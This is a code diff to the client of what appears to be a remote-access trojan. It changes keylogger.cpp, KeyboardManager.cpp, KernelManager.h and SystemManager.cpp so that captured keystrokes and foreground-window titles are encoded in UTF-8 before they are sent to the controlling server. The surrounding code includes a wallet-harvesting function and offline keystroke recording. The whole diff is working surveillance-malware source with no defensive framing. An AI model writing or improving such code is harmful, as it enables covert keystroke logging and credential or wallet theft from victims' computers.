i18n: UTF-8 protocol capability + Unicode rendering on server

client/KernelManager.h

@@ -63,9 +63,34 @@ private:
         if (hForegroundWindow == NULL)
             return "No active window";
 
-        char windowTitle[256];
-        GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
-        return std::string(windowTitle);
+        // 用 W 接口取标题，再转 UTF-8，避免依赖客户端系统 ANSI 代码页
+        wchar_t wTitle[256] = { 0 };
+        GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
+        if (wTitle[0] == L'\0')
+            return std::string();
+
+        int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
+        if (u8len <= 1)
+            return std::string();
+
+        // 协议字段 ActiveWnd[512]，UTF-8 中文最多 3 字节/字符，必要时按完整码点截断
+        std::string out(u8len - 1, '\0');
+        WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
+        if (out.size() >= 511) {
+            out.resize(511);
+            // 回退到上一个完整 UTF-8 码点起始
+            while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
+                out.pop_back();
+            if (!out.empty()) {
+                unsigned char lead = static_cast<unsigned char>(out.back());
+                int need = (lead & 0x80) == 0 ? 1
+                         : (lead & 0xE0) == 0xC0 ? 2
+                         : (lead & 0xF0) == 0xE0 ? 3
+                         : (lead & 0xF8) == 0xF0 ? 4 : 0;
+                if (need == 0) out.pop_back();
+            }
+        }
+        return out;
     }
 
     DWORD GetLastInputTime()

client/KeyboardManager.cpp

@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
     SAFE_CLOSE_HANDLE(m_hClipboard);
     SAFE_CLOSE_HANDLE(m_hWorkThread);
     SAFE_CLOSE_HANDLE(m_hSendThread);
-    m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    // 仅在离线记录开启时才回写磁盘；否则缓冲区随对象释放，不让 CLEAR 后的新击键意外落盘。
+    if (m_bIsOfflineRecord) {
+        m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    }
     delete m_Buffer;
     Mprintf("~CKeyboardManager1: Stop %p\n", this);
 }
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
 
 int CKeyboardManager1::sendStartKeyBoard()
 {
-    BYTE	bToken[2];
+    // 协议扩展：在 [TOKEN, offline] 后面捎带 2 字节 cap word。
+    // 子连接没经过 LOGIN_INFOR，服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
+    // 让客户端自己带过来，避免服务端通过 IP 反查主连接（NAT/127.0.0.1 等场景反查会失败）。
+    // 老服务端读不到 byte 2-3 没关系（只读 byte 1），向后兼容。
+    BYTE	bToken[4];
     bToken[0] = TOKEN_KEYBOARD_START;
     bToken[1] = (BYTE)m_bIsOfflineRecord;
+    WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
+    memcpy(bToken + 2, &caps, sizeof(WORD));
     HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
     return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
 }

client/SystemManager.cpp

@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam)  //要
     LPBYTE	szBuffer = *(LPBYTE*)lParam;
     char	szTitle[1024];
     memset(szTitle, 0, sizeof(szTitle));
-    //得到系统传递进来的窗口句柄的窗口标题
-    GetWindowText(hWnd, szTitle, sizeof(szTitle));
+    // 用 W 接口取标题再转 UTF-8 写入 szTitle，避免依赖客户端 CP_ACP；
+    // 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
+    wchar_t wTitle[1024] = {};
+    GetWindowTextW(hWnd, wTitle, _countof(wTitle));
+    if (wTitle[0]) {
+        WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
+                            szTitle, sizeof(szTitle), NULL, NULL);
+    }
     //这里判断 窗口是否可见 或标题为空
     BOOL m_bShowHidden = TRUE;
     if (!m_bShowHidden && !IsWindowVisible(hWnd)) {

client/keylogger.cpp

@@ -94,9 +94,17 @@ int Save(int key_stroke)
     }
 
     if (foreground) {
+        // 用 W 接口取标题再转 UTF-8，避免依赖客户端系统 ANSI 代码页：
+        // 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP（中文机=GBK），
+        // 服务端按自己的 CP_ACP 解释会乱码（例如德语机=CP1252）。
         char window_title[MAX_PATH] = {};
-        GET_PROCESS_EASY(GetWindowTextA);
-        GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
+        wchar_t wTitle[MAX_PATH] = {};
+        GET_PROCESS_EASY(GetWindowTextW);
+        GetWindowTextW(foreground, wTitle, MAX_PATH);
+        if (wTitle[0]) {
+            WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
+                                window_title, MAX_PATH, NULL, NULL);
+        }
 
         if (strcmp(window_title, lastwindow) != 0) {
             strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
             sprintf_s(tm, "%d-%02d-%02d  %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
                       s.wHour, s.wMinute, s.wSecond);
 
-            output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
+            output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
         }
     }